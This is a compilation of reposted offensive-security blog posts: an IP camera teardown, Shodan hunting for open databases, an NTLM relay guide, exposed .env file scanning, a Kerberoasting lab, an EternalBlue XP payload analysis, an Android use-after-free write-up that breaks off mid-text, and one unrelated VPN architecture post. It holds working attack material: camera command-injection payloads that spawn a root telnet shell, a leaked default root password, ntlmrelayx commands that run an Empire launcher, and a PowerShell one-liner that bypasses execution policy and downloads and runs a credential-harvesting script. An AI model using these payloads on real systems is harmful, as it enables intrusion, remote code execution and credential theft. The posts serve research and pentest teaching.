|_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY
Service Info: Host: RT-IPC; Device: webcam

Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on.

When I connected to the admin panel — accessible on port 80 — I was greeted with a standard login screen that prompts the user for a username and password.

The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page.

The Chrome developer tab

My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2Hmm, “getstream”, I wonder what happens if I open this in another tab…

An unauthenticated live view of the camera

Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad.

Other observations

While looking through the network requests, I noticed some more notable endpoints:

  • You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as wigle.net.
  • You are able to set the camera’s internal time via/cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this.
  • You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access.
  • You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo

All of these requests are unauthenticated.

Remote code execution

Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection.

To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera:

$(ping -c2 192.168.178.243)

And sure enough, I saw two ICMP requests appear on my laptop.

Two ping requests in Wireshark

But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right?

Vulnerable IP cameras via shodan.io

That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such aswigle.net), allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software.

Returning to port 23

Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason.

After spending way too much time without progress, this was the command that did the trick:

telnetd -l/bin/sh -p9999

This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell.

Reading /etc/passwd gave me the following output:

root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh

I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029.

Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface.

Contacting the manufacturer

When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints.

It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all.

How to find open databases with the help of Shodan and Lampyre

( Original text by Lampyre.io )

Today I’ll be telling you about the tool which combines the advantages of many tools for Cyber Threat Intelligence and Open Source Intelligence Gathering (OSINT) and which allows you to analyze the obtained data in a comfy way. You’ll learn how to easily find databases without any authentication using the Shodan capabilities with the Lampyre tools. Of course, Shodan can also be used for mining other interesting data. For example, you can visualize the location of web cameras on a map, get info on the devices with enabled RDP and take a look at their screenshots and a lot more, but all this — a topic for some other time.

The problems with unsafe default configurations of some databases are no news and are widely discussed on the Web. However, regardless of that, many still don’t pay enough attention.

Latest news on the data leaks of the American Express India and Voxox’s database (running on Amazon’s Elasticsearch) only confirms this. Nobody is protected against human mistakes and sometimes the price of these mistakes is just too high!

MongoDB, Elasticsearch, Cassandra and some other databases do not have authorization enabled by default. This means that anyone in the Internet may not only look into their content and download it but also change the existing data or use it in some fraudulent activities — for example, phishing or encrypting all data and then demanding for bitcoins or any other. The same may happen to some other services, such as FTP for example.

WARNING!! The following information is provided solely in educational purposes and by no means encourages any action against the laws. Please remember that any data fraudulence and unauthorized access is considered a crime. Use this information for research purposes only and please inform the DB owners if you come across their confidential data so that they wouldn’t be involved in any data leak situations.

Yes-yes, sure you can scan all ranges of IP-addresses yourself and have your own VPN-servers to conduct your research. But in order to make it much quicker and easier, it’s enough to just launch a couple of requests in Lampyre with different search parameters, using its imbedded integration with API Shodan.

There are so many of such parameters and today I’ll talk about only two. Let’s assume I want to find any open mongodbs, which were indexed by Shodan last week. Here is a step-by-step of how to do it:

1. Download Lampyre from the lampyre.io website, unpack the archive and install it;
2. Launch the app, spend a couple of minutes to acquire your free license and then create an investigation;
3. In the List of Requests window, choose the Shodan Search request. In the input parameters indicate MongoDB product and set the required time period (November 23–30, for example)
Note: this request gives back the results by pages, 100 results per 1 page. In order to get more data right away, input 1–10 into the Page or Range field and you will get 1000 results;
4. Click Execute and — voila! — enjoy scrolling through your 1000 mongoDBs found.

However, these 1000 mongoDBs are not exactly what we really need. Shodan indexes all services working in the open networks. Also it returns info on the structure of databases: list of MongoDB collections, list of available commands and other technical parameters. This data is available in the Data column.

Here is a screenshot of an example:

Some things might have changed since Shodan indexed, so in order to understand if any database may still be accessed at this moment and what its current structure is, you’ll have to perform one more request. Guess which one? — Ta-dah! Right, Explore DB: MongoDB. What does it do? In real time and through a chain of VPN-servers this request tries to connect to the found MongoDBs by IP-addresses, which act as the input parameters.

So to make it more comfortable for me to perform this request and visualize the results in a convenient way, I will transfer the info on the Shodan Mongo DBs to a schema and select all their obtained IP-addresses in the Content window, right-click any of them (to use them as input parameters) and choose the Explore DB request in the context menu.

As a result, if there is no authorization set in the DB, you’ll get its current structure, list of collections with the quantity and names of the documents in them.

What to do with this data? Everyone decides for himself…

Similar research can be performed in Lampyre also for Elasticsearch and FTP. There will be more requests available soon. Stay tuned!

And by the way, nothing stops you from working with 1000 or even 10000 IP-addresses as input parameters, but this is the matter to talk about in our next posts.

A short video on the topic of this article is available on our youtube channelwhere you can also find some other tutorials on Cyber Threat intelligence. If you go to the channel after reading this article please feel free to comment on the video. If you have any ideas on using Lampyre for Cyber Security you can also Tweet us.

Have a great week!

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

( Original text by byt3bl33d3r )

This blog post is mainly aimed to be a very ‘cut & dry’ practical guide to help clear up any confusion regarding NTLM relaying. Talking to pentesters I’ve noticed that there seems to be a lot of general confusion regarding what you can do with those pesky hashes you get with Responder. I also noticed there doesn’t seem to be an up to date guide on how to do this on the interwebs, and the articles that I did see about the subject either reference tools that are outdated, broken and/or not maintained anymore.

I won’t go into detail on all the specifics since there are a TON of papers out there detailing how the attack actually works, this one from SANS is a ok when it comes to the theory behind the attack.

Before we dive into the thick of it we need make sure we are on the same page with a couple of things.

NTLM vs. NTLMv1/v2 vs. Net-NTLMv1/v2

This is where the confusion starts for a lot of people and quite frankly I don’t blame them because all of the articles about this attack talk about NTLMv1/v2, so when they see Net-NTLMv1/v2 anywhere obviously people wonder if it’s the same thing.

Edit 06/05/2017 — Updated the TL;DR as it was brought to my attention the way I phrased it was still confusing.

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

However, NTLM (without v1/v2) means something completely different.

NTLM hashes are stored in the Security Account Manager (SAM) database and in Domain Controller’s NTDS.dit database. They look like this:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

Contrary to what you’d expect, the LM hash is the one before the semicolon and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user’s NT hash). Here’s an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 

(This hash was taken from the Hashcat example hash page here)

From a pentesting perspective:

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller’s NTDS.dit database or from Mimikatz (Fun fact, although you can’t get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that’s perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.

You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.

This article is going to be talking about what you can do with Net-NTLM in modern windows environments.

Relaying 101

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the ‘reflective’ attack) unless you’re performing a cross-protocol relay (which is an entirely different topic). However you can still relay the hash to another machine.

TL;DR you don’t have to crack the hashes you get from Responder, you can directly relay them to other machines!

What’s really cool about this? You can use Responder in combination with a relay tool to automatically intercept connections and relay authentication hashes!

The only caveat to this attack? SMB Signing needs to be disabled on the machine you’re relaying too. With the exception of Windows Server OS’s, all Windows operating systems have SMB Signing disabled by default.

Personally, I consider SMB Signing to be one of the most overlooked and underrated security settings in Windows specifically because of this attack and how easy it allows for attackers to gain an initial foothold.

Setting up

Grab Responder (do not use the version of Responder on SpiderLab’s Github repository as it isn’t maintained anymore, you should be using lgandx’s fork), edit the Responder.conf file and turn off the SMB and HTTP servers:

[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On

Now you need a relaying tool.

There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:

I personally use ntlmrelayx.py so I’ll stick with that for this blogpost.

Install Impacket using pip or manually by git cloning the repo and running the setup file and it will put the ntlmrelayx.py script in your path.

Now you need list of targets to relay to.

How you do that is up to you. I personally use CrackMapExec: V4 has a handy --gen-relay-list flag just for this:

cme smb <CIDR> --gen-relay-list targets.txt

The above command will generate a list of all hosts with SMB Signing disabled and output them to the specified file.

0wning Stuff

Now that you have everything you need, fire up Responder in one terminal window:

python Responder.py -I <interface> -r -d -w

And ntlmrelayx.py in another:

ntlmrelayx.py -tf targets.txt

By default, ntlmrelayx.py upon a successful relay will dump the SAM database of the target.

Buuuuut, you know whats even better? How about executing a command?

ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>

Now, every time ntlmrelayx.py successfully relays a Net-NTLM hash, you will get an Empire agent! How cool is that??!

Here’s a video of how it looks like in practice:

Let’s recap

  1. We’re using Responder to intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
  2. However, since we turned off Responder’s SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py’s SMB and HTTP servers
  3. ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.

Conclusion

SMB Relaying attacks are very much still relevant. Having SMB Signing disabled in combination with Multicast/Broadcast protocols allow attackers to seamlessly intercept authentication attempts, relay them to other machines and gain an initial foothold on an Active Directory network in a matter of minutes.

Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!

Shout outs

These are the people responsible for these amazing tools, hard work and research. You should be following them everywhere!

Publicly accessible .ENV files

( Original text by BinaryEdge )

Deployment is something a lot of companies still struggle with. We talked about the issue with Kubernetes being deployed insecurely a few weeks ago in a blogpost and how the kubernetes pods are being hijacked to mine for cryptocurrency.

This week we look at something different but still related to deployments and exposing things to public that should not be.

One tweet from @svblxyz (whom we would also like to thank for all the help given to us on reviewing this post and giving tips on things to add) showed us an interesting google dork which made us wonder, what does this look like for IP adresses vs domain/services focused (as google search is).View image on Twitter

View image on Twitter

svbl@svblxyz

👏

Don’t put your .env files in the web-server directory https://www.google.com/search?q=db_password+filetype%3Aenv …2,7829:15 PM — Sep 26, 20181,950 people are talking about thisTwitter Ads info and privacy

So we launched a scan using our distributed platform, as simple as:

> curl https://api.binaryedge.io/v1/tasks -d '{
      "description": "HTTP Worldscan .env",
      "type": "scan",
      "options": [{
        "targets": ["XXXX"],
        "ports": [{
            "modules": ["http"],
            "port": "80",
            "config": { "http_path": "/.env" }
        }]
      }]
      }' -H 'X-Token:XXXXXX'

After this we started getting the results and of course multiple issues can be identified on these scans:

  • Bad Deployments — The .ENV files being accessible is something that shouldn’t happen — there are companies exposing this type of file fully readable with no authentication.
  • Weak credentials — Lots of services with a username/password combo using weak passwords.

Credentials and Tokens

Lots different types of Service Tokens were found:

  • AWS — 38 tokens
  • Mangopay — 9 tokens
  • Stripe — 89 tokens
  • Pusher — 1600 Tokens

Other tokens found include:

  • PlugandPlay
  • Paypal
  • Mailchimp
  • Facebook
  • PhantomJS
  • Mailgun
  • Twitter
  • JWT
  • Google
  • WeChat
  • Shopify
  • Nexmo.
  • Bitly
  • Braintree
  • Twilio
  • Recaptcha
  • Ucloud
  • Firebase
  • Mandrill
  • Slack
  • Sentry.io
  • Shopzcoin

Many of these systems involve financial records/ payments.

But we also found access configurations to Databases, which potentially contain customer data, such as:

  • DB_PASSWORD keys: 1161
  • REDIS_PASSWORD keys: 801
  • MySQL credentials: 946 (username/password combos).

Looking at the passwords being used the top 3 we see they all consist of weak passwords:

1 — secret — 93
2 — root — 33
3 — adminadmin — 24

Other weak passwords found are:

  • password
  • test123
  • foobar

When exposed tokens go super bad…

Laravel

Something that is also very dangerous is situations like the CVE-2018-15133 where if the APP_KEY is leaked for the Laravel app, allows an attacker to execute commands on the machine where the Laravel instance is running.

And our scan found: 300 APP_KEY Tokens related to Laravel.

One important note to be taken into account, we looked only at port 80 internet wide for our scan. The exposure on this can easily be much higher as other web apps will surely be exposing more .env files!

Kerberoasting — From setup to cracking

( Original text by Mark Mo

Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)

From my experience, the hardest part of kerberoasting is setting up the environment. I’ll go over setup all the way to cracking the password. Obviously, only run any scripts on your own machines at your own risk and this is for educational purposes.

Download a windows 2016 server image from Microsoft evaluation site

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

You don’t need to user real information to evaluate the software

Install the ISO on your choice of VM host. I’m using VMware.

If it asks for you for a license key ignore it

If you are using VMware and you see this then VMware has added a floppy disk that you need to remove

Just do this (also, give yourself more ram if you can, default is 2gb I gave myself 8gb)

If you get prompted to install from the CD, do click any button. When you get here be sure to install the desktop experience

on the next screen it asks for a typical or custom option, take the custom option and the only thing you get to select is the disk location. If all goes well you will be logged in. Take a snap shot in case you mess something up.

At this point you are ready to install Active directory. Here is the best guide I’ve seen. No point in re-inventing the wheel just follow this to install AD. One note, if you are not planning to setup other server in your active directory lab, you don’t need to mess with your network settings on step one of the document

Follow this guide to setup AD on your 2016 server. It is the easiest hands on guide I’ve seen

https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/

Once you have Active Directory installed go to a command prompt and type whoami and you should see your domain

For simplicity sake, we will setup one Service Principal Name (SPN) to practices roasting. We will give it a password that is contained in the rockyou.txt password dictionary that comes with Kali Linux.

Type DSA.MSC

select right click on your domain and select “New” then “User” from the fly out menus

Lets create a fake SQL service account

I’m picking this for the password as it is in Rockyou.txt for demonstration purposes. I suggest you do the same for your first roast.

Enter the password and set the password not to expire and don’t make the user change the password and don’t let the user change the password. Make it look like this.

Now we will make our Service Principal Name (SPN). Echo your computer name. You need your computer name for the setspn command

Now we will create the SPN

We will be able to verify we got it setup correctly by calling setSPN command again.

Before attempting kerberoast or any tool or script, always take a snapshot. I always take a snapshot before testing any tool. It might be malicious.

If you are an unprivileged users and need to bypass some powershell restrictions you can use this

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

If you just want the hash for cracking you can use this and dump the file to C:\Users\Public\HashCapture.txt

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000

Either way now we need to crack it. Copy the Hash to your kali box on one single line and save the file. I’m creating a file called test.txt

Run this command (I’m running pot file disabled as I’ve already cracked it)

In a few minutes you should see it is cracked if you entered your password correctly and the password is in your password dictionary and you can see the password in the capture.cracked output file

I hope you learned something. Follow me on twitter @_markmo_ (yes with the underscore)

A look under the hood of a decentralised VPN Application.

( original text byDonatas Kučinskas )

MysteriumVPN is the client application of Mysterium Network, a project focused on providing security and privacy to web 3 applications.

In this article, we will discuss the architecture of MysteriumVPN and how it integrates with Mysterium Node to ensure an encrypted end to end flow of data through Mysterium Network.

Cross-platform architecture

Usually, you need separate builds for each platform. Now that cross-platform technology has improved, this is no longer the case.

For desktop:

Electron is a framework which allows us to build cross-platform applications using common web technologies such as HTMLCSS and Javascript. We are using Electron which allows us to develop one application for two platforms for desktop — Windows and Mac OSLinux coming soon. Download our alpha.

Under the hood of an Electron application, sits a Chromium browser; A website, rendered by an embedded browser.

For mobile:

We are kicking off our mobile development for MysteriumVPN, with Android versions set to release shortly.

For this, we are using React Native for cross-platform applications.

Most of MysteriumVPN is written in Javascript, which is run in a separate process. Javascript generates the virtual structure of the user interface. This Javascript process communicates to native mobile processes which are responsible for rendering the actual user interface as you see it.

The architecture of MysteriumVPN Desktop Client Application

How MysteriumVPN works on desktop:

Since we are using Electron, we have two processes, MAIN and RENDERER.

MAIN is the first process which is started when the application starts. It is a NodeJS process which is responsible for managing the following functions:

  • Application state and internal operations
  • Tray
  • Kicking off the RENDERER process

The second process is RENDERER and it is responsible for displaying the graphical user interface for the application.

Communication between processes:

Both the MAIN and RENDERER processes need to communicate with each other to stay in sync. For this reason, we are using a standard approach of Inter-Process Communication (IPC).

Javascript is not type-safe, which isn’t very reliable. We use Flow static type checker which adds type-safety for Javascript. This especially applies to syncing data between processes — it becomes less reliable when using out-of-the-box IPC. To improve that, with custom implementation on top to have type-safety.

MessageTransport describes a single typed message which is sent between processes. It creates alignment between both processes by introducing sender and receiver objects, ensuring that both sides expect the same arguments of this message.

Here is an implementation:

class MessageTransport<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
buildSender (): MessageSender<T> {
 return new MessageSender(this._channel, this._messageBus)
 }
buildReceiver (): MessageReceiver<T> {
 return new MessageReceiver(this._channel, this._messageBus)
 }
}
class MessageSender<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
send (data: T) {
 this._messageBus.send(this._channel, data)
 }
}
class MessageReceiver<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
on (callback: T => void) {
 this._messageBus.on(this._channel, callback)
 }
removeCallback (callback: T => void) {
 this._messageBus.removeCallback(this._channel, callback)
 }
}

Here is an example of communication between both these MAIN and RENDERER processes:

Example: communicating country proposal updates between processes:

MAIN process is managing country proposals internally and it sends all updates:

this._countryList.onUpdate(countries => {
  this._communication.countryUpdate.send(countries)
})

RENDERER process listens for country updates,

this.rendererCommunication.countryUpdate.on(this.onCountriesUpdate)
...
onCountriesUpdate (countries) {
  this.countriesAreLoading = false
  this.countryList = countries
}

Having such an abstraction layer ensures that communication is type-safe, reliable and features around it are simple to test.

How do we integrate Mysterium Node with MysteriumVPN Application?

Once we’ve rendered the application layer, we still need to connect MysteriumVPN to Mysterium NodeMysterium Nodeis a software that connects you to Mysterium Network where you are able to exchange value for bandwidth.

MysteriumVPN is a client application of Mysterium Network. The successful running of our dVPN on the network will attract other use cases from existing or future businesses that require end-to-end encryption of data, thereby expanding Mysterium Network’s ecosystem.

We require specific information to ensure the successful running of our dVPNservice.

Operation System Service
Since we are running Mysterium Node under the MysteriumVPN application we need to supervise the Mysterium Node to ensure that it works.

Our Data Protection Policy
We make a clear distinction between personal data and usage data. We do not collect information on who you are. We collect data on session and connection inputs and outputs. This is important data for us as it gives us visibility on how our technology fares against the realities of cyber oppression. Check out our privacy policy for more information.

Logging
Since we are integrating Mysterium Node into the MysteriumVPN application, the application itself gets quite complex. That’s why we have to be prepared to log errors from everywhere, — our application, Mysterium Node, and from Electron.

That means that there are three sources of inputs. When we are inspecting something, we need to understand that these errors can happen in three different places. We need to synchronise those and collect all relevant data from these sources.

Data management in the era of web 3 is complex and we hope to do so in an ethical and fair manner. Check out how our no logs policy protects your personal data.

Build on Mysterium Network

We have an npm package that allows for you to connect to Mysterium Nodeeasily. This is the same package that the MysteriumVPN uses to connect to Mysterium Network. This can be used for any application — it’s literally plug and play.

Interested in contributing to Mysterium Network? We are an open source project focused on bringing privacy, security and freedom to web 3. Check out our Github.

Dissecting a Bug in the EternalBlue Client for Windows XP (FuzzBunch)

( Original text by zerosum0x0 )

 

Background

Pwning Windows 7 was no problem, but I would re-visit the EternalBlue exploit against Windows XP for a time and it never seemed to work. I tried all levels of patching and service packs, but the exploit would either always passively fail to work or blue-screen the machine. I moved on from it, because there was so much more of FuzzBunch that was unexplored.

Well, one day on a pentest a wild Windows XP appeared, and I figured I would give FuzzBunch a go. To my surprise, it worked! And on the first try.

Why did this exploit work in the wild but not against runs in my «lab»?

tl;dr: Differences in NT/HAL between single-core/multi-core/PAE CPU installs causes FuzzBunch’s XP payload to abort prematurely on single-core installs.

Multiple Exploit Chains

Keep in mind that there are several versions of EternalBlue. The Windows 7 kernel exploit has been well documented. There are also ports to Windows 10 which have been documented by myself and JennaMagius as well as sleepya_.

But FuzzBunch includes a completely different exploit chain for Windows XP, which cannot use the same basic primitives (i.e. SMB2 and SrvNet.sys do not exist yet!). I discussed this version in depth at DerbyCon 8.0 (slides / video).

tl;dw: The boot processor KPCR is static on Windows XP, and to gain shellcode execution the value of KPRCB.PROCESSOR_POWER_STATE.IdleFunction is overwritten.

Payload Methodology

As it turns out, the exploit was working just fine in the lab. What was failing was FuzzBunch’s payload.

The main stages of the ring 0 shellcode performs the following actions:

  1. Obtains &nt and &hal using the now-defunct KdVersionBlock trick
  2. Resolves some necessary function pointers, such as hal!HalInitializeProcessor
  3. Restores the boot processor KPCR/KPRCB which was corrupted during exploitation
  4. Runs DoublePulsar to backdoor the SMB service
  5. Gracefully resumes execution at a normal state (nt!PopProcessorIdle)

Single Core Branch Anomaly

Setting a couple hardware breakpoints on the IdleFunction switch and +0x170 into the shellcode (after a couple initial XOR/Base64 shellcode decoder stages), it is observed that a multi-core machine install branches differently than the single-core machine.

1 kd> ba w 1 ffdffc50 "ba e 1 poi(ffdffc50)+0x170;g;"

The multi-core machine has acquired a function pointer to hal!HalInitializeProcessor.

Presumably, this function will be called to clean up the semi-corrupted KPRCB.

The single-core machine did not find hal!HalInitializeProcessor… sub_547 instead returned NULL. The payload cannot continue, and will now self destruct by zeroing as much of itself out as it can and set up a ROP chain to free some memory and resume execution.

Note: A successful shellcode execution will perform this action as well, just after installing DoublePulsar first.

Root Cause Analysis

The shellcode function sub_547 does not properly find hal!HalInitializeProcessor on single core CPU installs, and thus the entire payload is forced to abruptly abort. We will need to reverse engineer the shellcode function to figure out exactly why the payload is failing.

There is an issue in the kernel shellcode that does not take into account all of the different types of the NT kernel executables are available for Windows XP. Specifically, the multi-core processor version of NT works fine (i.e. ntkrnlamp.exe), but a single core install (i.e. ntoskrnl.exe) will fail. Likewise, there is a similar difference in halmacpi.dll vs halacpi.dll.

The NT Red Herring

The first operation that sub_547 performs is to obtain HAL function imports used by the NT executive. It finds HAL functions by first reading at offset 0x1040 into NT.

On multi-core installs of Windows XP, this offset works as intended, and the shellcode finds hal!HalQueryRealTimeClock:

However, on single-core installations this is not a HAL import table, but instead a string table:

At first I figured this was probably the root cause. But it is a red herring, as there is correction code. The shellcode will check if the value at 0x1040 is an address in the range within HAL. If not it will subtract 0xc40 and start searching in increments of 0x40 for an address within the HAL range, until it reaches 0x1040 again.

Eventually, the single-core version will find a HAL function, this time hal!HalCalibratePerformanceCounter:

This all checks out and is fine, and shows that Equation Group did a good job here for determining different types of XP NT.

HAL Variation Byte Table

Now that a function within HAL has been found, the shellcode will attempt to locate hal!HalInitializeProcessor. It does so by carrying around a table (at shellcode offset 0x5e7) that contains a 1-byte length field followed by an expected sequence of bytes. The original discovered HAL function address is incremented in search of those bytes within the first 0x20 bytes of a new function.

The desired 5 bytes are easily found in the multi-core version of HAL:

However, the function on single-core HAL is much different.

There is a similar mov instruction, but it is not a movzx. The byte sequence being searched for is not present in this function, and consequently the function is not discovered.

Conclusion

It is well known (from many flame wars on Windows kernel development mailing lists) that searching for byte sequences to identify functions is unreliable across different versions and service packs of Windows. We have learned from this bug that exploit developers must also be careful to account for differences in single/multi-core and PAE variations of NTOSKRNL and HAL. In this case, the compiler decided to change one movzx instruction to a mov instruction and broke the entire payload.

It is very curious that the KdVersionBlock trick and a byte sequence search is used to find functions in this payload. The Windows 7 payload finds NT and its exports in, as seen, a more reliable way, by searching backwards in memory from the KPCR IDT and then parsing PE headers.

This HAL function can be found through such other means (it appears readily exported by HAL). The corrupted KPCR can also be cleaned up in other ways. But those are both exercises for the reader.

There is circumstantial evidence that primary FuzzBunch development was started in late 2001. The payload seems maybe it was only written for and tested against multi-core processors? Perhaps this could be a indicator as to how recent the XP exploit was first written. Windows XP was broadly released on October 25, 2001. While this is the same year that IBM invented the first dual-core processor (POWER4), Intel and AMD would not have a similar offering until 2004 and 2005, respectively.

This is yet another example of the evolution of these ETERNAL exploits. The Equation Group could have re-used the same exploit and payload primitives, yet chose to develop them using many different methodologies, perhaps so if one methodology was burned they could continue to reap the benefits of their exploit diversification. There is much esoteric Windows kernel internals knowledge that can be learned from studying these exploits.

CVE-2018-9539: Use-after-free vulnerability in privileged Android service

( Original text by Tamir Zahavi-Brunner )

As part of our platform research in Zimperium zLabs, I have recently discovered a vulnerability in a privileged Android service called MediaCasService and reported it to Google. Google designated it as CVE-2018-9539 and patched it in the November security update (2018-11-01 patch level).

In this blog post, I will describe the technical details of this use-after-free vulnerability, along with some background information and the details of the proof-of-concept I wrote that triggers it. Link to the full proof-of-concept is available at the end of the blog post.

MediaCasService

The Android service called MediaCasService (AKA android.hardware.cas) allows apps to descramble protected media streams. The communication between apps and MediaCasService is performed mostly through two interfaces/objects: Cas, which manages the keys (reference: MediaCas Java API), and Descrambler, which performs the actual descramble operation (reference: MediaDescrambler Java API).

Underneath the MediaCasService API, the actual operations are performed by a plugin, which is a library that the service loads. In our case, the relevant plugin is the ClearKey plugin, whose library is libclearkeycasplugin.so.

In order to descramble data, apps need to use both the Cas object and the Descrambler object. The Descrambler object is used for the actual descramble operation, but in order to do that, it needs to be linked to a session with a key. In order to manage sessions and add keys to them, the Cas object is used.

Internally, the ClearKey plugin manages sessions in the ClearKeySessionLibrary, which is essentially a hash table. The keys are session IDs, while the values are the session objects themselves. Apps receive the session IDs which they can use to refer to the session objects in the service.

After creating a session and attaching a key to it, apps are in charge of linking it to a Descrambler object. The descrambler object has a member called mCASSession, which is a reference to its session object and is used in descramble operations. While there is no obligation to do so, once a Descrambler session is linked with a session object, an app can remove that session from the session library. In that case, the only reference to the session object will be through the Descrambler’s mCASSession.

An important note is that references to session objects are held through strong pointers (sp class). Hence, each session object has a reference count, and once that reference count reaches zero the session object is released. References are either through the session library or through a Descrambler’s mCASSession.

The vulnerability

Let’s take a look at ClearKey’s descramble method:

Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can see, the session object referenced by mCASSession is used here in order to decrypt, but its reference count does not increase while it is being used. This means that it is possible for the decrypt function to run with a session object which was released, as its reference count was decreased to zero.

This allows an attacker to cause a use-after-free (the session object will be used after it was freed) through a race condition. Before running descramble, the attacker would remove the reference to the session object from the session library, leaving the Descrambler’s mCASSession as the only reference to the session. Then, the attacker would run descramble at the same time as setting the session of the Descrambler to another session, which can cause a race condition. Setting a different session for the Descrambler would release the original session object (its reference count would drop to zero); if this happens in the middle of mCASSession->decrypt, then decrypt would be using a freed session object.

Proof of concept

Before going into the details of the PoC, there is one note about its effect.

In this PoC, nothing gets allocated instead of the released session object; we just let the decrypt function use a freed object. One of the members of the session object that decrypt uses is a mKeyLock, which is essentially a mutex that decrypt attempts to lock:

